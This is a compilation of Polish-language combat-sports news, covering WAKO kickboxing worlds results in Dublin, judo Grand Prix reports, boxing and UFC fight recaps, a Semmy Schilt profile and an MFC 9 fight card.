Rywalizacja w mistrzostwach świata WAKO w kickboxingu w Dublinie nabiera tempa. Polacy efektownie rozpoczęli zmagania, jednak w ćwierćfinałach zaczęły się kłopoty. 

W środę biało-czerwoni stoczyli sześć walk ćwierćfinałowych. Polacy walczyli ze zmiennym szczęściem. Troje naszych reprezentantów jest o krok od wywalczenia medali na mistrzostwach świata.

Skuteczna Bulanda

Większych problemów z triumfem w ćwierćfinałowej rywalizacji nie miała Ewa Bulanda w full contact 48kg. Polka od początku zyskała przewagę nad Diaz Pantoją. Hiszpanka szukała swojej szansy, ale nie zawsze stosowała czyste zagrania. W drugiej rundzie za cios poniżej pasa otrzymała minusowe punkty. Bulanda kontrolowała walkę i w trzeciej odsłonie utrzymała przewagę. Hiszpanka nie miała nic do powiedzenia. Polka wygrała 3:0.

Przez ćwierćfinał przeszedł również Mateusz Kubiszyn w full contact 86kg. Polak zaznaczał, że do Dublina przyjechał po medal i jest na najlepszej drodze, aby zrealizować swój cel. Wygrał drugą walkę w turnieju. Tym razem Polak okazał się lepszy od zawodnika gospodarzy Alana Coffeya. Kubiszyn rozkręcał się z rundy na rundę, a w ostatniej odsłonie mógł już odpocząć, gdyż wyraźnie przeważał i jego zwycięstwo nie podlegało dyskusji. Fenomenalnie wśród weteranów radzi sobie Tomasz Szczepaniuk. Polak w ćwierćfinale uporał się z Chrisem Collymore'm.

Igor Prykhodko to były mistrz świata, który w Dublinie szans na medal pozbawił Kacpra Frątczaka w full contact 81kg. Dla Polaka to cenne doświadczenie. Frątczak pierwszy raz startował na imprezie tej rangi w rywalizacji seniorskiej. Rok temu w Rimini wywalczył mistrzostwo świata juniorów K-1. Z rywalizacją w Dublinie na etapie ćwierćfinału pożegnał się również Jakub Kozera. Polak walczący w kategorii 91kg full contact przegrał z Arthurem Dühringiem. Niemiec dominował w pierwszej rundzie, a w trzeciej mocnym ciosem sierpowym zakończył marzenia Kozery o zwycięstwie. W ćwierćfinale odpadła również Emilia Szabłowska w pointfighting 55kg, która przegrała z Aston Cook.

Triumf Wichowskiego

W 1/8 finału light contact w wadze 79kg triumfował Łukasz Wichowski. Podopieczny Piotra Siegoczyńskiego okazał się lepszy od Gordana Baksicia. Chorwat chciał zaskoczyć Wichowskiego i od początku był aktywny. Pierwsza runda wyrównana, jednak z czasem Baksiciowi zaczęło brakować paliwa. Wichowski punktował przeciwnika i wyprowadzał celne ciosy.

Karolina Mośko również cieszy się z wygranej  w 1/8 finału light contact 50kg. Polka pokonała Niemkę Hannę Wommelsdorf. Z rywalizacją pożegnał się Adrian Durma w 74kg. W pointfightingu przez 1/8 finału przebrnęli Tomasz Kurzeja w 74kg oraz Łukasz Świderski w 94kg.

KM

Semmy Schilt

Holenderski karateka reprezentujący style Ashihara i Seidokaikan, kickboxer oraz zawodnik MMA urodzony 27 października 1973 roku w Rotterdamie. Karate zaczął trenować w wieku 8 lat. Pierwszym nauczycielem był jego ojciec, instruktor karate.  Do jego największych sukcesów w karate  zalicza się zdobycie: 3-krotnego Mistrzostwa Holandii IBK Full Contact, 2-krotnego Mistrzostwa Europy IBK, 2-krotne zwycięstwo w Hukutoki All Japan Open oraz dwukrotne zwycięstwo All Japan Dai Do Juku. W 1998 roku przeszedł na zawodowstwo. Jest dyrektorem technicznym Ashihara International Karate Organisation oraz honorowym dyrektorem technicznym Sei Budokai i posiadaczem 6 dan w obu tych stylach. Równolegle do karate, Schilt walczył w MMA. W 1996 roku zadebiutował w  japońskiej organizacji Pancrase. W 1999 roku zdobył 9 tytuł Króla Pancrase w kategorii open. W 2001 roku podpisał kontrakt z Amerykańskim UFC. Stoczył tylko dwie walki po czym wrócił do Japonii, aby walczyć dla PRIDE FC.  Wygrał trzy pierwsze walki przez nokaut, ale porażki z takimi gwiazdami jak Fiodor Jemieljanienko, Antonio Rodrigo Nogueira czy Siergiej Charitonow przekreśliły szanse Schilta na odegranie większej roli w tej organizacji. W sumie w latach 2001-2004 stoczył w PRIDE 7 walk (4 wygrał, 3 przegrał). Podczas sylwestrowej gali Dynamite!! 2008 zmierzył się z Mightym Mo, którego pokonał przez duszenie trójkątne.  W K-1 zadebiutował w 2002 roku będąc jeszcze zawodnikiem PRIDE. Podczas gali K-1 Burning 2002 wygrał przez niejednogłośną decyzję z Musahim. Pierwszy znaczący sukces na ringach K-1 osiągnął w 2005 roku, wygrywając turniej K-1 WGP w Paryżu. Dzięki temu w tym samym roku wystąpił w finale K-1 World GP w Tokio. Zdobył mistrzostwo pokonując kolejno Raya Sefo, Remy’ego Bonjasky’ego, a w finale nokautując w 48 sekund Glaube Feitosę. W następnych latach Schilt całkowicie zdominował rywalizację w K-1 WGP. W 2006 roku obronił tytuł, pokonując w finale byłego trzykrotnego mistrza, Petera Aertsa, przez jednogłośną decyzję sędziów. W finale roku następnego ponownie pokonał Aertsa, tym razem przez nokaut w pierwszej rundzie.  Tym samym został pierwszym w historii zawodnikiem, który trzy razy z rzędu w Finale K-1 World Grand Prix. W 2007 roku Schilt zdobył również pas mistrza K-1 w kategorii superciężkiej, nokautując w Jokohamie Raya Sefo. W czerwcu 2008 roku obronił tytuł w walce z Jerome Le Bannerem. Pojedynek ten był 14 z rzędu wygraną Schilta w K-1. Holender pobił tym samym rekord poprzednio należący do Petera Aertsa. Dominację Schilta przerwał właśnie Aerts, który pokonał go przez decyzję 27 września 2008 roku podczas turnieju K-1 World Grand Prix 2008 Final 16 w Seulu. Porażka ta wyeliminowała Schilta z walki o czwarte z rzędu mistrzostwo K-1 WGP. W maju 2009 roku walczył o mistrzostwo It’s Showtime w wadze ciężkiej z Badrem Hari. Przegrał przez nokaut w pierwszej rundzie. W grudniu podczas walki finałowej turnieju K-1 WGP 2009 doszło pomiędzy nimi do rewanżu. Tym razem to Schilt znokautował Hariego w pierwszej rundzie, zdobywając czwarte w swojej karierze mistrzostwo K-1. W 2010 roku będąc obrońcą tytułu awansował do Finału K-1 WGP, gdy podczas Final 16 wygrał przez niejedno głośną decyzję z Hesdym Gergesem. W ćwierćfinale pokonał przez jednogłośną decyzję Kyotaro, odpadł później w półfinale pokonany po raz trzeci w karierze przez Petera Aertsa. W 2011 roku Schilt nie walczył z powodu słabej sytuacji finansowej organizacji K-1. W międzyczasie jego klub Golden Glory zapowiedział budowę, własnego konkurencyjnego względem K-1 cyklu rozgrywek, którego jedną z gwiazd miał być Schilt. 26 maja 2012 roku Schilt wywalczył inauguracyjne mistrzostwo Glory World Series w wadze ciężkiej, pokonując przed czasem Errola Zimmermana.  31 grudnia znalazł się w bardzo silnie obsadzonym turnieju wagi ciężkiej organizowanym przez Holenderską federację Glory World Series w Tokio, w ramach połączonej sylwestrowej gali kickboxingu. W szesnastoosobowym turnieju wzięli udział m.in.  Peter Aerts, Remy Bonjasky oraz Daniel Ghita –  z tym ostatnim Schilt zmierzył się w finale tego turnieju.  Holender w finałowej walce zwyciężył przez TKO w pierwszej rundzie, zostając tym samym tryumfatorem całego turnieju.  Dnia 27 czerwca 2013 roku ogłosił koniec kariery sportowe, przyczyną były prawdopodobne problemy zdrowotne. 

Lara kontra Zaveck, Italian Boxing i judo – na żywo w FightKlubie.

 

Lara kontra Zaveck
Zapraszamy na pojedynek o mistrzostwo świata WBA w kategorii junior średniej. Tytułu bronić będzie kubański wirtuoz Erislandy Lara, zaś w roli pretendenta wystąpi bardzo twardy Słowak Jan Zaveck. Niepokonany od blisko półtora roku, prowadzący na światowych listach wagi superpółśredniej Erislandy Lara stanie do walki z mającym na koncie 35 zwycięstw w 38 walkach Zaveck. Stawką organizowanej w Hialeah Park Race Track na Florydzie walki są pasy WBA World i IBO World. Faworytem wydaje się być pochodzący z Guantanamo, ale od dawna mieszkający w Houston Lara.  Kubańczyk w swoich ostatnich pojedynkach wygrał z Delvinem Rodriguezem i Ishe Smithem. Obu wyraźnie pokonał na punkty.
Na transmisję z gali zapraszamy w nocy ze środy na czwartek od 02:00. Powtórka w czwartek od 16:00.
 ""
GP w Korei: Łukasz Błach wylosował słynnego Wang Ki-Chuna
Wicemistrz Olimpijski z Pekinu i 2-krotny Mistrz Świata Wang Ki-Chun (Korea Płd.) będzie rywalem Łukasza Błacha w 1/16 finału wagi -81 kg Grand Prix w judo na wyspie Jeju. Transmisje od czwartku do soboty na żywo od g. 9:00 na naszej antenie.
 
Wang Ki-Chun największe sukcesy odnosił w wadze -73 kg, z której odszedł w zeszłym sezonie. W tym roku startował niewiele, ale najczęściej wygrywał. Najpierw w European Open w Warszawie, a kilka dni temu w GP w Qingdao (Chiny). Na Uniwersjadzie w Gwangju (Korea Płd.) wywalczył srebrny medal. Łukasz Błach przegrał z Wang Ki-Chunem w półfinale GP w Ułanbator w 2014 roku. W tym sezonie dobrą walkę z Koreańczykiem stoczył Jakub Kubieniec w Warszawie. Wcześniej walczył z nim m.in. Tomasz Adamiec. Czy w piątek doświadczony wrocławianin – Łukasz Błach pokona zawodnika gospodarzy?

""
 
W koreańskim turnieju wystąpi 422 judoków z 70 państw, w tym 6 Polaków. Rozstawiona jest Katarzyna Kłys -70 kg. W 1/8 finału spotka się z Giulią Cantoni (Włochy) lub Esther Stam (Gruzja). Od 1/16 finału zawody zaczną Karolina Pieńkowska -52 kg i Jakub Wójcik -100 kg. Ich rywalami będą Buyankhishig Purevsuren (Mongolia) i broniący tytułu Cho Guham (Korea Płd.). Już w 1/32 finału walki rozpoczną Michał Bartusik -66 kg z Jasperem Lefevere (Belgia) i Damian Szwarnowiecki -73 kg z Zelimkhanem Ozdoevem (Rosja). Nie startuje kontuzjowany Maciej Sarnacki 100 kg, który rok temu zdobył brąz. W jego wadze zdecydowanym faworytem jest słynny Francuz Teddy Riner.
 
Na żywo: Italian Boxing
Sobota g. 22:00 – Andrea Scarpa; Lyes Chaibi; Carlos Takam
W pojedynku wieczoru na gali w Palasport Le Cupole w Turynie zmierzą sięAndrea Scarpa Lyes Chaibi. Stawką zakontraktowanej na dwanaście rund walki będzie wakujący interkontynentalny pas federacji IBF w wadze superlekkiej, a jej faworytem mieszkający na co dzień w stolicy Piemontu Scarpa. 28-latek to aktualny mistrz Włoch w swojej kategorii wagowej. Tytuł ten zdobył w styczniu tego roku pewnie zwyciężający na punkty Francesco Acatullo.

Mocne wejście naszych fighterów

Nie ulega wątpliwości, że polskich kickbokserów obawiają się wszystkie nacje. Z pewnością strach zajrzał w oczy tych, którzy udali się na mistrzostwa świata WAKO w formułach pointfighting, light contact, full contact.

Już od samego początku Polacy dominują. Biało-czerwoni zdecydowanie rozpoczęli rywalizację w światowym czempionacie. Przez 1/8 finału przebrnęło trzynastu reprezentantów Polski.

Udany debiut

Pierwszy raz w imprezie tego kalibru udział wzięła Gabriela Bednarowicz. Bywa, że debiutom towarzyszą nerwy oraz niepewność, jednak nasza zawodniczka nie musiała się niczego obawiać. Bednarowicz, która doskonali swoje umiejętności w SKK Kielce na krajowym podwórku pokazała, że ma potencjał. Zawodniczka podczas rywalizacji jest niezwykle agresywna i zadaje dużo kopnięć. W swoim dorobku ma wiele medali mistrzostw Polski w formule full contact, na swoim koncie zapisała również srebrny medal w Pucharze Polski w low kicku w 2014 roku. W Dublinie w 1/8 finału full contact Polka trafiła na Tinę Beckenhauer. Nie było żadnych wątpliwości, kto w tym pojedynku zasłużył na wygraną. Bednarowicz zwyciężyła pewnie 3:0. Zaznaczyła wyraźnie swoją przewagę i teraz z niecierpliwością czeka na kolejny pojedynek.

Łatwego zadania nie miała Dorota Godzina w light contact w wadze 55kg. Lucija Regvat postawiła Polce trudne warunki, jednak fighterka, która za sobą występy na galach zawodowych grupy DSF wykorzystała swoje umiejętności i doświadczenie. Chorwatka była aktywna, wyprowadzała dużo kopnięć i w pierwszej rundzie postraszyła Godzinę. W kolejnych odsłonach Polka uporała się z naporem Regvat. Mądrze się broniła i wyprowadzała groźne akcje, co dało jej zwycięstwo.

Paulina Jarzmik pokazała, że ma nie lada wytrzymałość. Polka pierwszego dnia stoczyła dwa pojedynki. W pointfighting w wadze 65kg uporała się z Keri Browne, której umiejętności są oceniane wysoko. Z kolei w light contact w kategorii 60kg wyższość Polki musiała uznać Mirela Chilingirova z Bułgarii.

Mateusz Kubiszyn w light contact w 86kg nie najlepiej rozpoczął pojedynek w 1/8 finału. Azamat Tuyamashev odważnie ruszył do przodu i sprawił, że Polak musiał mieć się na baczności. Jednak od drugiej rundy Kubiszyn przejął kontrolę nad pojedynkiem. Polski fighter wygrał i nie ukrywa, że zmierza po złoto.

Nie ma wicemistrza

Z rywalizacją w light contact w 84kg pożegnał się Wojciech Wiśniewski. Polak zdecydował się walczyć w wyższej kategorii wagowej. Wcześniej rywalizował w 79kg. Przeszkodą nie do pokonania do Wiśniewskiego okazał się Denis Martsevich. Porażki ponieśli również: Natalia Biernasiak w light contact 52kg, Dominik Kotowski i Rafał Adamczyk w pointfighting (79kg i 84kg).

Ciężką przeprawę w 60kg full contact miała Emilia Czerwińska. Polka niejednogłośnie na punkty pokonała Milenę Svonję. Łukasz Wichowski udanie rozpoczął rywalizację w 1/16 finału light contact. Polak uporał się z Michaelem Gollobem z Austrii.

Miejmy nadzieję, że udany początek zmagań zwiastuje wysyp medali. Czekamy na kolejne walki naszych fighterów, które będą kończyć się ich triumfami. 

KM

Tate chętna do walki z Holm

Holly Holm znalazła się na ustach wszystkich. Nowa mistrzyni wagi koguciej jest teraz ponętnym kąskiem. Zarówno dla mediów jak i dla potencjalnych rywalek. Jedna z nich dała już o sobie znać. Miesha Tate chciałaby stoczyć pojedynek z mistrzynią UFC.

Holm zaskoczyła cały świat MMA. Ronda Rousey stała się twarzą UFC i jej najbardziej rozpoznawalną twarzą. Wydawało się, że Amerykanka będzie niepokonana. Odprawiała kolejne rywalki, a jej walki trwały zaledwie kilkadziesiąt sekund, jednak w końcu znalazła pogromczynię.

Holm bez litości

Można powiedzieć, że świat MMA zamarł. Rousey stała się ikoną, a zarazem skarbem UFC. Była judoczka potrafiła zrobić show i zaserwować widzom ogromne wrażenia. 14 listopada skutecznością popisała się Holly Holm. 34-letnia Amerykanka w drugiej rundzie pojedynku wypunktowała swoją rywalkę. Wysokie kopnięcie powaliło Rousey na ziemię, a później Holm ciosami z góry skończyła dzieło i została nową mistrzynią UFC wagi koguciej.

34-letnia Amerykanka ukazała się światu w nowym blasku. Dziesięć wygranych pojedynków w MMA i do tego pas mistrzowski, a w dodatku bogata kariera bokserska. Holm ma z czego czerpać. Teraz Amerykanka znalazła się w ogniu zainteresowań. Zapewne pojawi się mnóstwo interesujących propozycji, jednak zawodniczka będzie musiała dokonać selekcji. Chęć rywalizacji z Holm wyraziła już Miesha Tate. 29-latka to doświadczona fighterka, która wygrała ostatnie cztery walki. Wcześniej rywalizowała w organizacji Strikeforce. Jej celem był tytuł mistrzowski UFC, jednak marzeń o pasie pozbawiła ją Ronda Rousey. Popularna „Cupcake” nie miała szczęścia do „Rowdy”. Przegrała z nią na gali Strikeforce, a potem na UFC. W obu przypadkach przez dźwignię na łokieć.

Tate jest gotowa, aby stawić czoła kolejnemu wyzwaniu. Amerykanka jest pewna siebie i nie ukrywa, że wygrana z Holm byłaby kluczem do kolejnej walki z Rousey. Tate to mocna fighterka, jednak czy będzie najbliższą rywalką nowej mistrzyni? Wielu ekspertów podejrzewa, że najprawdopodobniej nie. Najbliższą rywalką Holm miałaby być Ronda Rousey, czyli doszłoby do pojedynku rewanżowego. Zapewne kolejne miesiące będą gorące. Nie obędzie się bez spekulacji i kolejnych deklaracji zawodniczek gotowych do odebrania Holm pasa.

Nasza przedstawicielka w Azji

Niepokonana w UFC pozostaje Joanna Jędrzejczyk. Polka przebojem wdarła się na pierwszy plan amerykańskiej organizacji i zdobyła tytuł mistrzyni wagi słomkowej. Czy Lena Tkhorevska  pójdzie drogą Jędrzejczyk?

26-letnia fighterka z Białej Podlaskiej podpisała kontrakt z azjatycką organizacją One Championship. Polka pierwszym pojedynek stoczy już 11 grudnia podczas gali w Manili. Tkhorevska będzie rywalizowała z młodziutką Angelą Lee. 19-letnia Amerykanka w One Championship stoczyła trzy pojedynki i jeszcze nie przegrała. Wszystkie walki rozstrzygnęła na swoją korzyść przed czasem.

Jak prezentują się dokonania Tkhorevskiej? 26-latka do tej pory prezentowała się na galach PLMMA. Stoczyła cztery walki, z których trzy zakończyły się jej triumfami. Ostatni pojedynek rozstrzygnęła na swoją korzyść w trzydzieści dziewięć sekund.

Fot. scifighting.com 

KM

Po zamieszaniu wyłoniono mistrza

Saul Alvarez został mistrzem świata federacji WBC w wadze średniej. Meksykanin pokonał jednogłośnie na punkty Miguela Cotto. Czy ta walka zmieni obraz kategorii średniej?

Pojedynek zapowiadany był jako gorący kąsek. Spotkało się dwóch pięściarzy, ale każdy z nich miał inne priorytety. Cotto to stary lis, który mógł. „Canelo” musiał i zrobił to.

Młody, gniewny i zwycięski

Zamieszanie – to słowo w kontekście tej walki można odmieniać przez wszystkie przypadki. Przed pojedynkiem pojawiały się różne głosy. Gdzieś w dyskusji przedzierało się nazwisko Floyda Mayweathera Jr., czyli jedynego pogromcy Alvareza. „Money” karierę zakończył, ale wielu wzywa go do powrotu na ring. 

Cotto również doznał porażki z rąk Mayweathera, jednak Portorykańczyk to ikona boksu. 35-letni pięściarz nie był stawiany w roli faworyta w pojedynku z Alvarezem. Cotto swoje już w ringu zrobił i nadszedł czas, aby ustąpił miejsca młodszemu gwiazdorowi, którego wspiera Oscar de la Hoya. Dodatkowo przed pojedynkiem Portorykańczyk stracił pas mistrzowski WBC. Dlaczego? Cotto odmówił uiszczenia opłaty sankcyjnej za walkę, która wynosiła 300 tysięcy dolarów. Niby dużo, ale biorąc pod uwagę gażę Portorykańczyka to suma nie robi wrażenia. 35-latek za pojedynek miał zgarnąć piętnaście milionów dolarów, bez uwzględniania zysków z pay per view. 

W ringu miał być spektakl, ale walka nie porwała. Początkowo obaj pięściarze starali się być uważni i nie zamierzali przeprowadzać spektakularnych akcji. W czwartej rundzie „Canelo” posłał w stronę rywala kilka mocnych ciosów. Meksykanin wykorzystywał fakt, że Cotto opuszczał lewą rękę i właśnie wtedy starał się uderzać. Portorykańczyk doskakiwał do „Canelo”, aby trafiać seriami, jednak miał problemy z celnością. Alvarez był cierpliwy i czekał, żeby uderzyć raz, a porządnie. Cotto mądrze się bronił. Portorykańczyk w siódmej rundzie ruszył do przodu, ale celne ciosy można było policzyć na palcach jednej ręki. Końcówka należała dla Meksykanina. Alvarez ruszył do przodu, ale Cotto nie zamierzał iść na wymianę. Żaden czysty cios nie doszedł do twarzy Portorykańczyka, jednak „Canelo” wyraźnie zaznaczył swoją przewagę. Sędziowie byli jednogłośni: 117-111, 119-109, 118-110 dla Alvareza.

Mocny Kazach czeka

Alvarez zasłużył na zwycięstwo, ale czy w takich rozmiarach? Cotto wyprowadzał wiele ciosów, jednak nie osiągały one celu. „Canelo” był skupiony i czekał na swoją szansę. Widowisko miało wyglądać inaczej, więc można mówić o rozczarowaniu. Dwa mocne nazwiska sprezentowały spektakl wątpliwej jakości.

Cotto miałby problemy z Giennadijem Gołowkinem. Rosjanin jest potężny, skuteczny i bezwzględny. Sprostać może mu ktoś, kto ma mocny i soczysty cios. Ten opis jak najbardziej pasuje do Alvareza, który powinien w kolejne walce zmierzyć się z Gołowkinem. Kazach może pochwalić się mianem tymczasowego mistrza świata WBC. Czy to będzie wielki pojedynek wagi średniej? A może po prostu średnie starcie. Tym razem raczej każdy z aktorów będzie walczył o pas. Cotto rywalizował w mistrzowskiej walce, ale w przypadku wygranej tytułu by nie zyskał. Takie małe zamieszanie. Bo zasad trzeba jednak przestrzegać.

KM

Nie było łatwo, ale Abraham obronił pas

Arthur Abraham stanął przed trudnym wyzwaniem na gali, która odbyła się w sobotni wieczór w Hannowerze. Niemiecki mistrz świata WBO w kategorii super średniej musiał bronić pasa w starciu z Martinem Murray’em. Bokser z Wysp Brytyjskich postraszył mistrza.

Abraham po raz kolejny stoczył swoją walkę w Hannowerze. Z pewnością mistrz świata lubi walczyć w mieście nad rzeką Line. W rywalizacji z Murray’em piąty raz przyszło mu bronić tytułu w Hannowerze.

Własne warunki

Murray podszedł do rywalizacji bez kompleksów. W zasadzie miał ku temu powody. Ostatnie trzy walki rozstrzygnął na swoją korzyść przed czasem, a na zawodowym ringu poniósł dwie porażki. Sposób na 33-latka znaleźli Giennadij Gołowkin i Sergio Gabriel Martinez. Murray po raz kolejny dostał szansę na wywalczenie tytułu mistrza świata. Jak się zaprezentował?

Od początku Abraham był spokojny i chciał wyczuć rywala. Murray nie czekał, ruszył do przodu. Brytyjczyk słał w stronę Niemca kolejne ciosy, ale lądowały one na gardzie mistrza. Abraham przyjął warunki rywala i czekał na swój czas. W trzeciej rundzie Murray rozkręcił się. Uderzał seriami, ale bez efektu.

W czwartej rundzie dał o sobie znać Abraham. Mistrz świata zaczął uderzać, jednak Murray znalazł sposób jak uniknąć ciosów Niemca. 33-latek zdecydował się klinczować. Gdy Abraham wyprowadzał cios Brytyjczyk starał się wkładać głowę pod jego rękę. W siódmej rundzie sędzia upomniał Murraya. Z kolei pretendent zachował się nieprzepisowo i uderzył swojego rywala w tył głowy, a arbiter po raz kolejny zwrócił mu uwagę.

Ósma odsłona na korzyść Murraya i chyba była to  najlepsza runda w jego wykonaniu. Brytyjczyk ruszył na Abrahama i rozbijał skutecznie gardę Niemca. Abraham sprawiał wrażenie zagubionego, starał się odpowiadać, jednak brakowało mu skuteczności. W końcu Murray posłał potężny prawy sierpowy na szczękę Abrahama, jednak przegapił dogodny moment, aby osłabić rywala. Abraham przebudził się i pod koniec rundy zadał kilka celnych ciosów.

Niepewność

Abraham miał świadomość, że musi być bardziej uważny i kontrolować przebieg walki, a przede wszystkim zaznaczyć swoją przewagę, aby nie było żadnych wątpliwości, co do rozstrzygnięcia.

Mistrz świata starał się znaleźć sposób, aby zachwiać swoim rywalem. Słał w jego stronę kolejne ciosy, jednak Murray nie pozostawał bierny. W 11.rundzie Brytyjczyk został ukarany odjęciem punktów. Przez kilka rund skutecznie pracował, aby sędzia nałożył na niego karę. Murray po raz kolejny klinczował. Końcówka walki należała do Abrahama. Niemiec przejął kontrolę nad pojedynkiem. Dyktował tempo i skutecznie atakował.

Werdykt sędziowski pozostawał niewiadomą. Po ostatnim gongu obaj pięściarze wznieśli ręce w geście triumfu. Było gorąco. 115:112 dla Murraya, 115:112 dla Abrahama i trzeci sędzia również wskazał na mistrza – 116:111. Niemiec wygrał ósmy pojedynek z rzędu i obronił pas.

KM

fot. mirror.co.uk

Mistrz świata organizuje galę

I to nie pierwszą. Tomasz Makowski po raz kolejny chce dostarczyć mocnych wrażeń fanom sportów uderzanych. 12 grudnia w Nowej Soli odbędzie się gala Makowski Fighting Championship 9.

Nie zabraknie pojedynków w K-1 i MMA. W karcie walk znajduje się dziesięć pojedynków, w których zaprezentują się fighterzy z Polski, Holandii, Słowacji czy Białorusi.

Na szali mistrzostwo Polski

Jak to bywa w przypadku wielu gal musi pojawić się walka, której stawka będzie wyjątkowa. Podobnie będzie w Nowej Soli. W pojedynku wieczoru zaprezentują się Michał Szmajda z Maku Gym Nowe Miasteczko i Marek Tarabus z Elite Gym ze Słowacji, a stawką rywalizacji będzie międzynarodowe mistrzostwo Polski WKN. 32-letni Polak już od ponad dziesięciu lat trenuje pod okiem Tomasza Makowskiego. Szmajda to przede wszystkim ogromne doświadczenie i umiejętności. Można powiedzieć, że na galach MFC czuje się jak w domu, gdyż często jest czołowym uczestnikiem imprez. W swoim dorobku ma trzy tytuły międzynarodowego mistrza Polski WKN oraz mistrzostwo Polsku muay thai. Czy rywal ze Słowacji będzie w stanie odebrać pas Szmajdzie?

Na gali wystąpi również Tomasz Makowski. Utytułowany zawodnik zaprezentuje się w walce na zasadach K-1, a jego rywalem będzie Tomas Cincik z Fire Gym ze Słowacji. Makowski swoją pasję dzieli zarówno jako zawodnik, ale i organizator. Imprezy odbywające się w Nowej Soli stały się popularne i każdy kolejny występ rodzi coraz większe zainteresowanie. Makowski nie zamierza odpoczywać od rywalizacji, a i tak ma na swoim koncie bogate dokonania. Trzykrotnie sięgał po tytuł mistrza świata K-1 WKN, w 2010 roku zdobył mistrzostwo świata muay thai WKN, a także triumfował wielu Pucharach Świata full contact oraz zdobywał tytuły mistrzowskie w kraju.

Będzie i mieszanka

Gale MFC to kickboxing, muay thai, ale także pojedynki mieszanych sztuk walki. Podczas kolejnej edycji imprezy nie zabraknie MMA. Zaprezentuje się znany z KSW Łukasz Rajewski. Popularny „Raju” stoczy swój drugi pojedynek podczas imprez MFC. Rajewski debiutował we wrześniu, kiedy to uporał się z Girikhanem Khamurzaevem. Jego rywalem w Nowej Soli będzie Aleksander Zawadski z Białorusi.

Swój pojedynek w K-1 w wadze ciężkiej stoczy Marcin Bodnar z Fightclub Zielona Góra, a jego rywalem będzie Białorusin Igar Kamkou z Evrika Mińsk. Polak podczas MFC 8 pokonał jednogłośnie na punkty pokonał Mateusza Urbanowicza. Zgromadzeni w Nowej Soli będą mogli podziwiać Dawida Kasperskiego z Punchera Wrocław. Zawodnik walczący w kategorii 86kg udowodnił, że ma ogromny potencjał. Z dobrej strony pokazał się na galach prestiżowej organizacji Superkombat. Niedawno Kasperski sięgnął po brązowy medal mistrzostw świata WAKO. Jego rywalem podczas gali MFC będzie Joshua Karsters. 

Walka o międzynarodowe Mistrzostwo Polski WKN: K-1 72,5 kg: Michał Szmajda (Maku Gym Nowe Miasteczko) vs. Marek Tarabus (Słowacja)
K-1: 86 kg: Dawid Kasperski (Puncher Wrocław) vs. Joshua Karsters (Surinam)
K-1: 70 kg: Marcin Kret (Puncher Wrocław) vs. Ayoub El Guennouni (Holandia)
K-1 60kg: Tomasz Makowski (Maku Gym) vs. Tomas Cincik (Fire Gym Slowacja)
71 kg: Łukasz Trela (Fight Club Zielona Góra) vs. Adam Trzpioła (Serafin Warszawa)
K-1 +95 kg: Marcin Bodnar (Fight Club Zielona Góra) vs. Patryk Rajski (Muay Thai Corio Team Łódź)
K-1 80 kg: Sławomir Przypis (Żytkiewicz Team Świebodzin) vs. Jozef Kolodziej (Słowacja)
muay thai 62  kg: Maciej Zembik (ŻKSW) vs. Michal Stulrajter (Martial Arts Academy Słowacja)
MMA 84 kg: Łukasz Żywalewski (Berkut Arrachion Olsztyn) vs. Szymon Ziarko (Endurance Team Opole)
MMA 70kg: Łukasz Rajewski (Ankos Zapasy Poznań) vs. Aleksander Zawadski (Evrika Minsk Białoruś)

KM

 

Kłys na podium

Polska judoczka po raz kolejny tej jesieni zanotowała dobry występ. Katarzyna Kłys startująca w kategorii 70kg zajęła trzecią pozycję podczas Grand Prix w Qingdao w judo. Wcześniej zawodniczka Polonii Rybnik zdobyła brązowy medal w zawodach Grand Slam w Abu Zabi.

Polka potwierdziła, że znajduje się w dobrej dyspozycji. Kłys zdobyła kolejne punkty w walce o kwalifikację olimpijską. Na obecną chwilę Polka może być spokojna o wyjazd do Rio de Janeiro.

Ściana z Chorwacji

Do Chin zjechało blisko czterystu judoków. Jesień będzie przebiegała pod znakiem kolejnych turniejów na kontynencie azjatyckim. Następne zmagania judoków odbędą się południowokoreańskiej wyspie Jeju. Później rywalizacja przeniesie się do Tokio.

Katarzyna Kłys mocnym akcentem rozpoczęła swoje zmagania podczas azjatyckich podróży. Polka bez problemów rozprawiła się z reprezentantką gospodarzy Chen Wei. Chinka nie potrafiła w żaden sposób zagrozić judoczce Polonii Rybnik, która wygrała przez yuko. W kolejnym starciu nasza zawodniczka stanęła na wprost Barbary Matić. Praktycznie do samego końca ważyły się losy tego pojedynku. Walka wyrównana, jednak więcej błędów popełniła Kłys i przegrała karami shido. Warto nadmienić, że Matić okazała się najlepsza w kategorii 70kg. Z kolei Kłys przyszło rywalizować w repasażach. W tym roku Polka jest zmorą Morgan Fletcher. Judoczka z Wysp Brytyjskich już trzeci raz musiała uznać wyższość 29-letniej zawodniczki Polonii Rybnik. W tej walce było wszystko, co możliwe ze strony Kłys. Agresja, zdecydowanie i skuteczność. Kłys zapisała na swoim koncie trzy kary shido, ale dołożyła do tego yuko i waza-ari. W decydującym o medalu pojedynku srebrna medalistka mistrzostw świata w drużynie spotkała się z Iriną Gazievą. Polka była w gazie i od początku dyktowała warunki. Rosjanka była bez szans. Kłys zaprezentowała bogaty repertuar, który zakończyła ipponem.

Dobry początek

W Qingdao zaprezentowało się dwoje reprezentantów Polski. Oprócz Kłys wystąpił Michał Bartusik, który rywalizował w kategorii 66kg.

Na starcie pojawiło się dwudziestu dziewięciu judoków. W pierwszej walce Bartusik trafił na zawodnika z Chin – Zhenlonga Xu. Już po minucie rywalizacji Xu otrzymał karę shido. Bartusik szukał swojej szansy i niepokoił rywala, co szybko przyniosło pożądany efekt. Po półtorej minuty rywalizacji Polak był bliżej zwycięstwa, po tym jak zdobył punkty przez waza-ari. Bartusik nie miał zamiaru się ociągać i zakończył pojedynek przed czasem. Tumurkhuleg Davaadorj był kolejnym rywalem naszego judoki. Bartusik szybko zakończył rywalizację. Można powiedzieć, że Polak sam się „wykartkował”. Cztery kary shido w ponad dwie minuty zakończyły rywalizację. Davaadorj mógł cieszyć się z wywalczenia srebrnego medalu. W finale reprezentant Mongolii przegrał z Nijatem Shikhalizadą z Azerbejdżanu.

Podczas Grand Prix Chin dobrą formę prezentują się Japończycy. Funa Tonaki triumfowała w kategorii 48kg, z kolei Yuka Nishida okazała się najlepsza w 52kg. Wśród panów w 73kg zwyciężył Soichi Hashimoto.

KM

fot. PZJ

Kiedy wejdą na ring?

Niektórzy już powoli myślą o rozpoczęciu przygotowań do świąt. Z kolei inni ciężko trenują, gdyż czeka ich intensywna końcówka roku. Czołowi polscy bokserzy w grudniu uruchomią pięści.

